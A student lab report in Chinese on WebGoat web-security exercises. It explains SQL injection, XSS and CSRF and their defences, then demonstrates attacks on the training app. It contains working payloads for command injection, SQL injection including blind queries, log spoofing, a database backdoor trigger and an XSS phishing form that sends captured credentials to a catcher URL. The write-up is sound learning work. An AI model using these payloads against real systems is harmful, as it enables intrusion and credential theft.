20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
作者:互联网
《网络对抗技术》Exp9 Web安全基础 Week13
一、实验目标与内容
1.实践内容
- (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
2.一些问题
- (1)SQL注入攻击原理,如何防御
答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。防御手段:不允许提交含有特殊字符的字符串,加密数据库中的内容等。
- (2)XSS攻击的原理,如何防御
答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防御手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。
- (3)CSRF攻击的原理,如何防御
答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。对于每一个重要的post提交页面,都使用一个验证码。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。定期清理cookie,甚至不使用cookie
二、实验步骤
安装WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
1、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载
webgoat-container-7.0.1-war-exec.jar
,放到kali中。2、在命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,等待一小会后出现如下提示则运行成功。
3、在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面
4、使用页面下端任意一个账号密码进行登录,可以看到如下页面:
5、接下来就是在左侧选择各种选项进行相应的测试。
各种注入漏洞(Injection Flaws)
1、Command Injection(命令注入)
简介:命令注入就是通过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到一定的目的。
(1)首先可以看到页面中有一个复选框,里面有很多选项,它们都是合法的
(2)我们要做的是通过修改源代码,在其中一个选项的后面添加一些指令,通过选择修改后的选项,点击
view
达到效果。(3)右击页面,选择
inspect Element
查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。(4)在复选框中选择该项,点击
view
,发现添加的命令被成功执行,攻击成功。
2、Numeric SQL Injection(数字型注入)
简介:通过在要提交的文本框中加入一些其他的逻辑条件,来在没有权限的情况下绕过权限的限制,得到更多的东西。
(1)首先在页面中我们可以看到这只是一个简单的天气查询,在复选框中选择一个城市,点击
go
后可以查看所选择的城市的天气。这里复选框中只有四个选项
(2)我们可以猜测,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,然后输出天气。
(3)右击页面,选择
inspect Element
查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"
进行修改,在后面添加or 1=1
。
(4)选择该城市,点击
go
。发现所有城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功
3、Log Spoofing(日志欺骗)
简介:在进行web攻击后,往往会在日志文件中留下自己的攻击痕迹。通过日志欺骗,可以伪造日志,消除或掩盖自己的攻击痕迹。
(1)在 username 中填入
zwy%0d%0aLogin Succeeded for username: admin
,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登录,可以看到如下信息。
(2)这样看起来就好像是有一个账号admin登录了网页。但其实这是假的。攻击者可以利用这种方式向日志文件中添加恶意脚本。比如在用户名输入
admin <script>alert(document.cookie)</script>
并提交,那么管理员页面就会弹出一个cookies信息。
4、LAB: SQL Injection
这里有4个步骤,但是Stage 2和Stage 4仅适用于WebGoat的开发版本
Stage 1: 字符串型注入
目标是绕过登录。
(1)首先尝试选择管理员身份,密码输入
' or '1' = '1
。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1
占13个长度,而密码框限制了输入长度为8(2)根据上面的经验可以判断出需要修改页面源代码。
(3)右击页面,选择
inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,修改密码框的长度为13。
(4)再次在密码框输入
' or '1' = '1
,发现这回没有被限制。点击登录后弹出如下提示,攻击成功
Stage 3: 数字型 SQL 注入
目标:使用员工Larry的身份,查看老板Neville的信息。
(1)先使用Stage 1的方法,绕过登录,查看Larry的信息。
(2)右键点击页面,选择
inspect Element
查看页面源代码,找到选项框中的信息Larry Stooge
所在的代码位置。(3)相关人员信息就是通过value中的值进行搜索的。通常来说老板的工资是最高的,工资字段一般都是
salary
,所以修改value为101 or 1=1 order by salary desc
,点击ViewProfile
,发现得到老板的信息,攻击成功。
5、String SQL Injection(字符串注入)
(1)这个网站可以查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入相似。
(2)在用户名框输入
' or 1=1--
,点击go
,获得所有用户的信用卡号码
6、Database Backdoors(数据库后门)
(1)目标:创建一个数据库后门。尝试在输入查询id的同时注入命令增加工资。
(2)什么是数据库后门?数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如增删改查。比如:攻击者可以创建一个触发器, 使得创建新用户时将每个新用户的工资增加10000。
(3)这个网站的作用是输入用户id,返回用户相应信息。输入`
101
进行搜索,可以看到现在的工资是55000
(4)输入
101; update employee set salary=66666
修改工资为66666。
(3)输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid
,完成攻击。
注:CREATE TRIGGER myBackDoor是创建一个后门。BEFORE是在....之前。这条语句是在插入新的数据之前把新员工的工资项加10000后再放入数据库。
7、Blind Numeric SQL Injection(数字型盲注)
简介:一般来说, SQL 注入是没有明确返回信息的,这时候的注入就叫做盲注。
目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。
(1)该网站允许输入一个帐号,并检测该帐号是否合法。如果合法(存在),则提示有效,否则提示无效。比如:
(2)这里我们可以利用AND。这样一来当AND两边恒为真时,才会提示有效,否则提示无效。
(3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
。发现无效,说明≤5000。(4)接下来通过不断地折半查找,得到pin为2364
8、Blind String SQL Injection(字符型盲注)
目标:与7相似,不过这里的pin字段变成varchar。
(1)同样的,利用AND。首先输入
101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)
测试一下pin的长度。显示
(2)继续进行尝试,发现长度是4。
(3)接着输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )
来不断对第n个字母进行确认。这里过程琐碎就不再列出。最后得到pin字段是Jill
跨站脚本攻击(XSS)
1、Phishing with XSS(使用 XSS 钓鱼)
简介:原理:通过修改页面源代码,使得用户在访问时访问假的一个脚本,只要在上面输入了信息并提交,输入的信息就会被发送到指定的页面。
(1)右击页面,选择
inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
(2)搜索这段代码,出现如下界面
(3)输入任意,点击提交
三、遇到的问题
- 1、启动WebGoat并登录后左侧没有相应栏。
- 解决方法:发现是因为jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8
四、心得体会
- 通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面。
标签:Web,Exp9,XSS,攻击,数据库,Week13,SQL,输入,页面 来源: https://www.cnblogs.com/zhuwenyuan/p/10925501.html